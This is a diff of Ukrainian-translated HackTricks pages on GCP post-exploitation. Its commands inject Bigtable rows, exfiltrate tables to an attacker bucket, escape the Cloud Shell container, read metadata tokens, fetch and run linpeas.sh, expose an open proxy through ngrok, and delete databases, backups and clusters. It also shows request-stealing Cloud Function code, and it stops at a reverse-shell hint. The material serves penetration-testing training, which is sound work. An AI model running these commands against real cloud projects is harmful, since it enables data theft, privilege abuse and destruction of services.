+ +Прочитати записи Bigtable ```bash # Install cbt gcloud components update gcloud components install cbt -# Read entries with creds of gcloud +# Read entries with creds of gcloud cbt -project= -instance= read ``` +
+ ### Запис рядків -**Дозволи:** `bigtable.tables.mutateRows`, (вам знадобиться `bigtable.tables.readRows`, щоб підтвердити зміну). +**Права доступу:** `bigtable.tables.mutateRows`, (вам знадобиться `bigtable.tables.readRows`, щоб підтвердити зміну). -Використовуйте той самий інструмент для upsert довільних клітинок. Це найшвидший спосіб backdoor configs, drop web shells, або plant poisoned dataset rows. +Використайте той самий інструмент, щоб вставляти або оновлювати довільні клітинки. Це найшвидший спосіб закласти backdoor у конфігураціях, розмістити web shells або впровадити отруєні рядки у набір даних. + +
+ +Впровадити шкідливий рядок ```bash # Inject a new row cbt -project= -instance= set := @@ -44,16 +60,22 @@ cbt -project= -instance= set user#1337 prof # Verify the injected row cbt -project= -instance= read rows=user#1337 ``` -`cbt set` приймає raw bytes через синтаксис `@/path`, тож ви можете закидати compiled payloads або serialized protobufs саме в тому вигляді, в якому їх очікують downstream services. + -### Експорт рядків у ваш bucket +`cbt set` приймає raw bytes через синтаксис `@/path`, тож ви можете відправити compiled payloads або serialized protobufs саме так, як цього очікують downstream services. -**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs` +### Вивантаження рядків у ваш bucket -Можна ексфільтрувати вміст усієї таблиці в bucket, контрольований attacker, запустивши Dataflow job, який стрімить рядки у GCS bucket під вашим контролем. +**Права:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs` + +Можна exfiltrate вміст цілої таблиці в bucket, контрольований attacker, запустивши Dataflow job, який потоково записує рядки в GCS bucket під вашим контролем. > [!NOTE] -> Зверніть увагу, що вам знадобиться permission `iam.serviceAccounts.actAs` на деякому SA з достатніми правами для виконання експорту (за замовчуванням, якщо не вказано інше, буде використано default compute SA). +> Note that you will need the permission `iam.serviceAccounts.actAs` over a some SA with enough permissions to perform the export (by default, if not aindicated otherwise, the default compute SA will be used). + +
+ +Експорт Bigtable у GCS bucket ```bash gcloud dataflow jobs run \ --gcs-location=gs://dataflow-templates-us-//Cloud_Bigtable_to_GCS_Json \ @@ -70,19 +92,25 @@ gcloud dataflow jobs run dump-bigtable3 \ --parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \ --staging-location=gs://deleteme20u9843rhfioue/staging/ ``` +
+ > [!NOTE] -> Переключіть шаблон на `Cloud_Bigtable_to_GCS_Parquet` або `Cloud_Bigtable_to_GCS_SequenceFile`, якщо ви хочете вивід у форматі Parquet/SequenceFile замість JSON. Права доступу однакові; змінюється лише шлях до шаблону. +> Переключіть шаблон на `Cloud_Bigtable_to_GCS_Parquet` або `Cloud_Bigtable_to_GCS_SequenceFile`, якщо ви хочете вивід у форматі Parquet/SequenceFile замість JSON. Дозволи ті ж; змінюється лише шлях до шаблону. -### Import rows +### Імпорт рядків -**Права доступу:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs` +**Дозволи:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs` -Можна імпортувати вміст цілої таблиці з бакета, контрольованого атакуючим, запустивши Dataflow job, який стримує рядки в GCS bucket, який ви контролюєте. Для цього атакуючому спочатку потрібно створити parquet файл з даними для імпорту з очікуваною схемою. Атакуючий може спочатку експортувати дані у форматі parquet, скориставшись попередньою методикою з налаштуванням `Cloud_Bigtable_to_GCS_Parquet`, і додати нові записи до завантаженого parquet файлу +Можна імпортувати вміст цілої таблиці з bucket'а, контрольованого атакуючим, запустивши Dataflow job, який стрімить рядки у GCS bucket, яким ви керуєте. Для цього атакуючому спочатку потрібно створити файл Parquet із даними для імпорту з очікуваною схемою. Атакуючий може спочатку експортувати дані у форматі Parquet, слідуючи попередній техніці з налаштуванням `Cloud_Bigtable_to_GCS_Parquet`, а потім додати нові записи у завантажений parquet файл > [!NOTE] -> Зверніть увагу, що вам знадобиться право `iam.serviceAccounts.actAs` над якимось SA з достатніми дозволами для виконання експорту (за замовчуванням, якщо не вказано інше, буде використовуватися стандартний compute SA). +> Зауважте, що вам знадобиться дозвіл `iam.serviceAccounts.actAs` на деякий SA з достатніми дозволами для виконання експорту (за замовчуванням, якщо не вказано інше, буде використано default compute SA). + +
+ +Імпорт із GCS bucket до Bigtable ```bash gcloud dataflow jobs run import-bt-$(date +%s) \ --region= \ @@ -99,11 +127,17 @@ gcloud dataflow jobs run import-bt-$(date +%s) \ --parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \ --staging-location=gs://deleteme20u9843rhfioue/staging/ ``` +
+ ### Відновлення резервних копій **Дозволи:** `bigtable.backups.restore`, `bigtable.tables.create`. -Атакуючий з такими дозволами може відновити резервну копію в нову таблицю під своїм контролем, щоб мати змогу відновити старі конфіденційні дані. +Атакувач із такими дозволами може відновити резервну копію в нову таблицю під своїм контролем, щоб відновити старі конфіденційні дані. + +
+ +Restore Bigtable backup ```bash gcloud bigtable backups list --instance= \ --cluster= @@ -115,16 +149,22 @@ gcloud bigtable instances tables restore \ --destination-instance= \ --project= ``` +
+ ### Відновлення таблиць **Дозволи:** `bigtable.tables.undelete` -Bigtable підтримує м'яке видалення з періодом зберігання (зазвичай 7 днів за замовчуванням). Протягом цього вікна зловмисник із дозволом `bigtable.tables.undelete` може відновити нещодавно видалену таблицю й відновити всі її дані, потенційно отримавши доступ до конфіденційної інформації, яка вважалася знищеною. +Bigtable підтримує м’яке видалення з періодом очікування (зазвичай 7 днів за замовчуванням). Протягом цього вікна атакуючий з правом `bigtable.tables.undelete` може відновити нещодавно видалену таблицю та повернути всі її дані, потенційно отримавши доступ до конфіденційної інформації, яку вважали знищеною. Це особливо корисно для: -- Відновлення даних із таблиць, видалених захисниками під час реагування на інцидент -- Доступу до історичних даних, які були навмисно очищені -- Скасування випадкових або зловмисних видалень для підтримки persistence +- відновлення даних із таблиць, які видалили захисники під час реагування на інцидент +- доступу до історичних даних, які були навмисно очищені +- скасування випадкових або зловмисних видалень для підтримання persistence + +
+ +Відновити таблицю Bigtable ```bash # List recently deleted tables (requires bigtable.tables.list) gcloud bigtable instances tables list --instance= \ @@ -134,18 +174,24 @@ gcloud bigtable instances tables list --instance= \ gcloud bigtable instances tables undelete \ --instance= ``` +
+ > [!NOTE] -> Операція undelete працює лише протягом налаштованого періоду зберігання (за замовчуванням 7 днів). Після закінчення цього вікна таблиця та її дані видаляються назавжди і не можуть бути відновлені цим методом. +> Операція undelete працює лише в межах налаштованого періоду збереження (за замовчуванням 7 днів). Після закінчення цього вікна таблиця та її дані видаляються назавжди і не можуть бути відновлені цим методом. -### Створення авторизованих подань +### Створення уповноважених переглядів -**Дозволи:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows` +**Permissions:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows` -Авторизовані подання дозволяють показувати відфільтрований піднабір таблиці. Замість дотримання принципу найменших привілеїв, використовуйте їх, щоб публікувати **саме ті набори колонок/рядків, що містять чутливі дані**, які вас цікавлять, і додавати у білий список власний принципал. +Уповноважені перегляди дозволяють показувати відфільтрований піднабір таблиці. Замість того, щоб дотримуватися принципу найменших привілеїв, використовуйте їх, щоб опублікувати **саме ті чутливі набори стовпців/рядків**, які вас цікавлять, та внести у білий список власний принципал. > [!WARNING] -> Справа в тому, що для створення авторизованого подання також потрібно мати можливість читати та змінювати рядки в базовій таблиці; отже ви не отримуєте ніяких додаткових дозволів, тому ця техніка переважно марна. +> Справа в тому, що для створення уповноваженого перегляду вам також потрібно мати можливість читати та змінювати рядки в базовій таблиці, отже ви не отримуєте жодних додаткових прав, тому ця техніка переважно марна. + +
+ +Створити уповноважений перегляд ```bash cat <<'EOF' > /tmp/credit-cards.json { @@ -168,13 +214,19 @@ gcloud bigtable authorized-views add-iam-policy-binding card-dump \ --instance= --table= \ --member='user:' --role='roles/bigtable.reader' ``` -Оскільки доступ обмежується межами Authorized View, захисники часто не помічають, що ви щойно створили новий високочутливий endpoint. +
-### Read Authorized Views +Оскільки доступ обмежується межами view, захисники часто не помічають, що ви щойно створили нову високочутливу кінцеву точку. + +### Читання Authorized Views **Permissions:** `bigtable.authorizedViews.readRows` -Якщо ви маєте доступ до Authorized View, ви можете читати дані з нього за допомогою Bigtable client libraries, вказавши ім'я Authorized View у ваших запитах на читання. Зверніть увагу, що Authorized View, ймовірно, обмежуватиме те, до чого ви маєте доступ у таблиці. Нижче наведено приклад на Python: +Якщо у вас є доступ до Authorized View, ви можете читати дані з нього за допомогою Bigtable client libraries, вказавши ім'я authorized view у ваших запитах на читання. Зверніть увагу, що authorized view, ймовірно, обмежуватиме те, до чого ви маєте доступ у таблиці. Нижче наведено приклад на Python: + +
+ +Читання з authorized view (Python) ```python from google.cloud import bigtable from google.cloud.bigtable_v2 import BigtableClient as DataClient @@ -209,19 +261,25 @@ qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'v value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value) print(f" {family}:{qualifier} = {value}") ``` -### Denial of Service via Delete Operations +
+ +### Denial of Service через операції видалення **Дозволи:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete` -Будь-який із дозволів на видалення Bigtable може бути використаний для атак Denial of Service. Зловмисник із цими дозволами може порушити роботу, видаливши критично важливі ресурси Bigtable: +Будь-які дозволи на видалення Bigtable можуть бути використані для атак denial of service. Атакуючий з такими дозволами може порушити роботу, видаливши критичні ресурси Bigtable: -- **`bigtable.appProfiles.delete`**: Видалити профілі застосунків, що призведе до розриву клієнтських підключень і конфігурацій маршрутизації -- **`bigtable.authorizedViews.delete`**: Видалити авторизовані подання, відрізавши легітимні шляхи доступу для застосунків -- **`bigtable.authorizedViews.deleteTagBinding`**: Видалити прив'язки тегів з авторизованих подань -- **`bigtable.backups.delete`**: Знищити резервні копії, позбавивши можливостей аварійного відновлення -- **`bigtable.clusters.delete`**: Видалити цілі кластери, що спричинить негайну недоступність даних -- **`bigtable.instances.delete`**: Видалити повні екземпляри Bigtable, знищивши всі таблиці та конфігурації -- **`bigtable.tables.delete`**: Видалити окремі таблиці, спричинивши втрату даних і збої в роботі застосунків +- **`bigtable.appProfiles.delete`**: Видалення профілів застосунків, що призводить до переривання клієнтських підключень і конфігурацій маршрутизації +- **`bigtable.authorizedViews.delete`**: Видалення авторизованих подань, яке відрізає легітимні шляхи доступу для застосунків +- **`bigtable.authorizedViews.deleteTagBinding`**: Видалення зв'язків тегів з авторизованих подань +- **`bigtable.backups.delete`**: Знищення резервних знімків, усунення варіантів аварійного відновлення +- **`bigtable.clusters.delete`**: Видалення цілих кластерів, що викликає миттєву недоступність даних +- **`bigtable.instances.delete`**: Видалення повних інстансів Bigtable, стирання всіх таблиць і конфігурацій +- **`bigtable.tables.delete`**: Видалення окремих таблиць, що призводить до втрати даних і збоїв застосунків + +
+ +Видалити ресурси Bigtable ```bash # Delete a table gcloud bigtable instances tables delete \ @@ -246,7 +304,9 @@ gcloud bigtable clusters delete \ # Delete an entire instance gcloud bigtable instances delete ``` +
+ > [!WARNING] -> Операції видалення часто виконуються негайно і є незворотними. Переконайтеся, що існують резервні копії перед тестуванням цих команд, оскільки вони можуть спричинити необоротну втрату даних та серйозні перебої в роботі сервісу. +> Операції видалення часто виконуються негайно й є незворотними. Переконайтеся, що перед тестуванням цих команд існують резервні копії, оскільки вони можуть спричинити постійну втрату даних та серйозні збої в роботі сервісу. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md index efef6a626..1c19af4e9 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md @@ -12,7 +12,11 @@ ### `cloudbuild.builds.approve` -З цією дозволом ви можете затвердити виконання **codebuild, що потребує затвердження**. +З цим дозволом ви можете затвердити виконання **codebuild that require approvals**. + +
+ +Затвердити виконання Cloud Build ```bash # Check the REST API in https://cloud.google.com/build/docs/api/reference/rest/v1/projects.locations.builds/approve curl -X POST \ @@ -24,4 +28,6 @@ object (ApprovalResult) }}' \ "https://cloudbuild.googleapis.com/v1/projects//locations//builds/:approve" ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md index 883153e04..b73bf37c5 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md @@ -4,7 +4,7 @@ ## Cloud Functions -Знайдіть деяку інформацію про Cloud Functions у: +Знайдіть інформацію про Cloud Functions у: {{#ref}} ../gcp-services/gcp-cloud-functions-enum.md @@ -12,20 +12,30 @@ ### `cloudfunctions.functions.sourceCodeGet` -З цією дозволом ви можете отримати **підписане URL для завантаження вихідного коду** Cloud Function: +З цим дозволом ви можете отримати **signed URL, щоб мати змогу завантажити вихідний код** Cloud Function: + +
+ +Отримати signed URL для завантаження вихідного коду ```bash curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \ -H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' ``` -### Steal Cloud Function Requests +
-Якщо Cloud Function управляє чутливою інформацією, яку надсилають користувачі (наприклад, паролі або токени), з достатніми привілеями ви могли б **змінити вихідний код функції та ексфільтрувати** цю інформацію. +### Викрадення запитів Cloud Function -Більше того, Cloud Functions, що працюють на python, використовують **flask** для відкриття веб-сервера, якщо ви якимось чином знайдете вразливість для ін'єкції коду всередині процесу flaks (наприклад, вразливість SSTI), можливо **перезаписати обробник функції**, який буде отримувати HTTP запити для **зловмисної функції**, яка може **ексфільтрувати запит** перед тим, як передати його легітимному обробнику. +Якщо Cloud Function обробляє конфіденційну інформацію, яку надсилають користувачі (наприклад passwords або tokens), маючи достатні привілеї ви можете **modify the source code of the function and exfiltrate** цю інформацію. -Наприклад, цей код реалізує атаку: +Більше того, Cloud Functions, що працюють на python, використовують **flask** для експонування веб-сервера — якщо вам якось вдасться знайти вразливість впровадження коду всередині процесу flaks (наприклад SSTI), можливо **override the function handler**, який отримуватиме HTTP requests, і замінити його на **malicious function**, яка може **exfiltrate the request** перед тим, як передати його легітимному handler'у. + +Наприклад цей код реалізує атаку: + +
+ +Викрадення запитів Cloud Function (Python injection) ```python import functions_framework @@ -122,4 +132,8 @@ return "Injection completed!" except Exception as e: return str(e) ``` +
+ + + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md index e93b277ee..791e8fb2c 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md @@ -4,7 +4,7 @@ ## Cloud Shell -Для отримання додаткової інформації про Cloud Shell перегляньте: +Для отримання додаткової інформації про Cloud Shell дивіться: {{#ref}} ../gcp-services/gcp-cloud-shell-enum.md @@ -12,22 +12,38 @@ ### Container Escape -Зверніть увагу, що Google Cloud Shell працює всередині контейнера, ви можете **легко втекти на хост** виконавши: +Зверніть увагу, що Google Cloud Shell працює всередині контейнера — ви можете **достатньо легко вийти на хост**, виконавши: + +
+ +Container escape commands ```bash sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///google/host/var/run/docker.sock start escaper sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh ``` -Це не вважається вразливістю з боку Google, але це дає вам ширше уявлення про те, що відбувається в цьому середовищі. +
-Більше того, зверніть увагу, що з хоста ви можете знайти токен облікового запису служби: +Це не вважається вразливістю з боку google, але дає ширше уявлення про те, що відбувається в цьому оточенні. + +Крім того, зверніть увагу, що на хості можна знайти service account token: + +
+ +Get service account from metadata ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` -З наступними обсягами: +
+ +З наступними scopes: + +
+ +Отримати service account scopes ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes" @@ -35,48 +51,92 @@ https://www.googleapis.com/auth/devstorage.read_only https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/monitoring.write ``` -Перелічте метадані за допомогою LinPEAS: +
+ +Перелічити метадані за допомогою LinPEAS: + +
+ +Перелічити метадані за допомогою LinPEAS ```bash cd /tmp wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh sh linpeas.sh -o cloud ``` -Після використання [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) з токеном облікового запису служби **дозволів не виявлено**... +
-### Використовуйте його як проксі +Після використання [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) з токеном Service Account **жодних дозволів не виявлено**... -Якщо ви хочете використовувати свій екземпляр google cloud shell як проксі, вам потрібно виконати наступні команди (або вставити їх у файл .bashrc): +### Використати як Proxy + +Якщо ви хочете використовувати ваш google cloud shell екземпляр як proxy, вам потрібно виконати наступні команди (або вставити їх у файл .bashrc): + +
+ +Встановити Squid proxy ```bash sudo apt install -y squid ``` -Просто щоб ви знали, Squid - це HTTP проксі-сервер. Створіть файл **squid.conf** з наступними налаштуваннями: +
+ +Просто щоб ви знали, Squid is a http proxy server. Створіть файл **squid.conf** з наступними налаштуваннями: + +
+ +Створити файл squid.conf ```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 acl all src 0.0.0.0/0 http_access allow all ``` -скопіюйте файл **squid.conf** до **/etc/squid** +
+ +Скопіюйте файл **squid.conf** до **/etc/squid** + +
+ +Скопіювати конфігурацію до /etc/squid ```bash sudo cp squid.conf /etc/squid ``` -Нарешті запустіть службу squid: +
+ +Нарешті запустіть службу Squid: + +
+ +Запустіть службу Squid ```bash sudo service squid start ``` -Використовуйте ngrok, щоб зробити проксі доступним ззовні: +
+ +Використайте ngrok, щоб зробити proxy доступним ззовні: + +
+ +Зробити proxy доступним через ngrok ```bash ./ngrok tcp 3128 ``` -Після запуску скопіюйте tcp:// URL. Якщо ви хочете запустити проксі з браузера, рекомендується видалити частину tcp:// та порт, а порт помістити в поле порту налаштувань проксі вашого браузера (squid - це http проксі-сервер). +
-Для кращого використання при запуску файл .bashrc повинен містити такі рядки: +Після запуску скопіюйте tcp:// url. Якщо ви хочете запускати proxy з браузера, рекомендується видалити частину tcp:// і номер порту та ввести порт у полі port у налаштуваннях proxy вашого браузера (squid is a http proxy server). + +Для зручнішого використання під час старту файл .bashrc повинен містити такі рядки: + +
+ +Додати в .bashrc для автоматичного запуску ```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ sudo service squid start cd ngrok;./ngrok tcp 3128 ``` -Інструкції були скопійовані з [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Перевірте цю сторінку на інші божевільні ідеї для запуску будь-якого програмного забезпечення (бази даних і навіть Windows) у Cloud Shell. +
+ +Інструкції були скопійовані з [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Перегляньте цю сторінку для інших божевільних ідей щодо запуску будь-якого програмного забезпечення (баз даних і навіть windows) у Cloud Shell. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md index 0305e59f0..bbd60fcce 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md @@ -4,7 +4,7 @@ ## Cloud SQL -Для отримання додаткової інформації про Cloud SQL перегляньте: +Для отримання додаткової інформації про Cloud SQL див.: {{#ref}} ../gcp-services/gcp-cloud-sql-enum.md @@ -12,7 +12,11 @@ ### `cloudsql.instances.update`, ( `cloudsql.instances.get`) -Щоб підключитися до баз даних, вам **потрібен доступ до порту бази даних** і знати **ім'я користувача** та **пароль**, немає жодних вимог IAM. Отже, простий спосіб отримати доступ, якщо база даних має публічну IP-адресу, - це оновити дозволені мережі та **дозволити вашій власній IP-адресі отримати доступ до неї**. +Щоб підключитися до баз даних, вам **just need access to the database port** і потрібно знати **username** та **password** — немає жодних вимог щодо IAM. Отже, простий спосіб отримати доступ, якщо база має публічну IP-адресу, — оновити allowed networks і **allow your own IP address to access it**. + +
+ +Додати свій IP і підключитися до бази даних ```bash # Use --assign-ip to make the database get a public IPv4 gcloud sql instances patch $INSTANCE_NAME \ @@ -25,61 +29,111 @@ mysql -h # If mysql # With cloudsql.instances.get you can use gcloud directly gcloud sql connect mysql --user=root --quiet ``` -Також можливо використовувати **`--no-backup`** для **порушення резервних копій** бази даних. +
-Оскільки це вимоги, я не зовсім впевнений, для чого потрібні дозволи **`cloudsql.instances.connect`** та **`cloudsql.instances.login`**. Якщо ви знаєте, надішліть PR! +Також можливо використовувати **`--no-backup`** щоб **порушити резервні копії** бази даних. + +Оскільки це вимоги, я не зовсім впевнений, для чого потрібні дозволи **`cloudsql.instances.connect`** та **`cloudsql.instances.login`**. Якщо ви знаєте — надішліть PR! ### `cloudsql.users.list` Отримати **список усіх користувачів** бази даних: + +
+ +Перелік користувачів бази даних ```bash gcloud sql users list --instance ``` +
+ ### `cloudsql.users.create` -Цей дозвіл дозволяє **створити нового користувача всередині** бази даних: +Цей дозвіл дозволяє **створити нового користувача у базі даних**: + +
+ +Створити користувача бази даних ```bash gcloud sql users create --instance --password ``` +
+ ### `cloudsql.users.update` -Цей дозвіл дозволяє **оновлювати користувача всередині** бази даних. Наприклад, ви можете змінити його пароль: +Цей дозвіл дозволяє **оновлювати користувача в базі даних**. Наприклад, ви можете змінити його пароль: + +
+ +Змінити пароль користувача ```bash gcloud sql users set-password --instance --password ``` +
+ ### `cloudsql.instances.restoreBackup`, `cloudsql.backupRuns.get` -Резервні копії можуть містити **стару чутливу інформацію**, тому їх цікаво перевірити.\ +Резервні копії можуть містити **стару конфіденційну інформацію**, тому їх варто перевірити.\ **Відновити резервну копію** всередині бази даних: + +
+ +Відновити резервну копію бази даних ```bash gcloud sql backups restore --restore-instance ``` -Щоб зробити це більш непомітно, рекомендується створити новий SQL екземпляр і відновити дані там, а не в поточних базах даних. +
+ +Щоб зробити це більш непомітно, рекомендується створити новий SQL instance і відновити дані там, замість у поточних запущених базах даних. ### `cloudsql.backupRuns.delete` -Ця дозволяє видаляти резервні копії: +Цей дозвіл дозволяє видаляти резервні копії: + +
+ +Видалити резервну копію ```bash gcloud sql backups delete --instance ``` +
+ ### `cloudsql.instances.export`, `storage.objects.create` -**Експортуйте базу даних** до Cloud Storage Bucket, щоб ви могли отримати до неї доступ звідти: +**Експортувати базу даних** у Cloud Storage Bucket, щоб ви могли отримати до неї доступ звідти: + +
+ +Експорт бази даних у bucket ```bash # Export sql format, it could also be csv and bak gcloud sql export sql --database ``` +
+ ### `cloudsql.instances.import`, `storage.objects.get` -**Імпортуйте базу даних** (перезапис) з Cloud Storage Bucket: +**Імпорт бази даних** (перезаписати) з Cloud Storage Bucket: + +
+ +Імпорт бази даних з Cloud Storage Bucket ```bash # Import format SQL, you could also import formats bak and csv gcloud sql import sql ``` +
+ ### `cloudsql.databases.delete` -Видалити базу даних з екземпляра бази даних: +Видалити базу даних з екземпляра БД: + +
+ +Видалити базу даних ```bash gcloud sql databases delete --instance ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md index 50d69a232..70f2ad4d5 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md @@ -4,37 +4,47 @@ ## Compute -Для отримання додаткової інформації про Compute та VPC (мережі) перегляньте: +Для отримання додаткової інформації про Compute та VPC (Networking) див.: {{#ref}} ../gcp-services/gcp-compute-instances-enum/ {{#endref}} -### Експорт та перевірка зображень локально +### Export & Inspect Images locally -Це дозволить зловмиснику **отримати доступ до даних, що містяться в уже існуючих зображеннях** або **створити нові зображення працюючих ВМ** та отримати доступ до їхніх даних без доступу до працюючої ВМ. +Це дозволяє атакуючому **доступатися до даних, що містяться в уже існуючих образах** або **створювати нові образи запущених VMs** та отримувати доступ до їхніх даних без наявності доступу до запущеної VM. -Можливо експортувати зображення ВМ у бакет, а потім завантажити його та змонтувати локально за допомогою команди: +Можна експортувати VM image у bucket, а потім завантажити його й змонтувати локально за допомогою команди: + +
+ +Експорт та завантаження VM image ```bash gcloud compute images export --destination-uri gs:///image.vmdk --image imagetest --export-format vmdk # The download the export from the bucket and mount it locally ``` -Для виконання цієї дії атакуючий може потребувати привілеїв над сховищем та, безумовно, **привілеїв над cloudbuild**, оскільки це **сервіс**, який буде запитано для виконання експорту.\ -Більше того, для цього кодування SA та compute SA потрібні привілейовані дозволи.\ -Сервісний обліковий запис cloudbuild `@cloudbuild.gserviceaccount.com` потребує: +
+ +Щоб виконати цю дію, атакуючому можуть знадобитися привілеї над storage bucket і, безумовно, **привілеї над cloudbuild**, оскільки це **сервіс**, який буде запитаний для виконання експорту\ +Крім того, для цього codebuild SA і compute SA потребують привілейованих дозволів.\ +The cloudbuild SA `@cloudbuild.gserviceaccount.com` needs: - roles/iam.serviceAccountTokenCreator - roles/compute.admin - roles/iam.serviceAccountUser -А сервісний обліковий запис `-compute@developer.gserviceaccount.com` потребує: +And the SA `-compute@developer.gserviceaccount.com` needs: -- roles/compute.storageAdmin +- oles/compute.storageAdmin - roles/storage.objectAdmin -### Експорт та перевірка знімків і дисків локально +### Export & Inspect Snapshots & Disks locally -Неможливо безпосередньо експортувати знімки та диски, але можливо **перетворити знімок на диск, диск на образ** і, слідуючи **попередньому розділу**, експортувати цей образ для перевірки локально. +It's not possible to directly export snapshots and disks, but it's possible to **transform a snapshot in a disk, a disk in an image** and following the **previous section**, export that image to inspect it locally + +
+ +Створити disk із snapshot та image із disk ```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE] @@ -42,65 +52,115 @@ gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] -- # Create an image from a disk gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE] ``` -### Інспекція зображення, створюючи VM +
-З метою доступу до **даних, збережених у зображенні** або всередині **запущеного VM**, з якого зловмисник **створив зображення,** можливо надати зовнішньому обліковому запису доступ до зображення: +### Перевірка Image під час створення VM + +З метою отримання доступу до **даних, збережених в image** або всередині **запущеного VM** з якого зловмисник **створив image,** можливо надати зовнішньому обліковому запису доступ до image: + +
+ +Надати доступ до image і створити VM ```bash gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \ --member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \ --role='roles/compute.imageUser' ``` -і потім створіть нову VM з цього: +
+ +і потім створіть нову VM із нього: + +
+ +Створити VM instance з образу ```bash gcloud compute instances create [INSTANCE_NAME] \ --project=[TARGET_PROJECT_ID] \ --zone=[ZONE] \ --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME] ``` -Якщо ви не могли надати доступ до вашого зовнішнього облікового запису через зображення, ви могли б запустити VM, використовуючи це зображення в проекті жертви та **змусити метадані виконати зворотний шелл** для доступу до зображення, додавши параметр: +
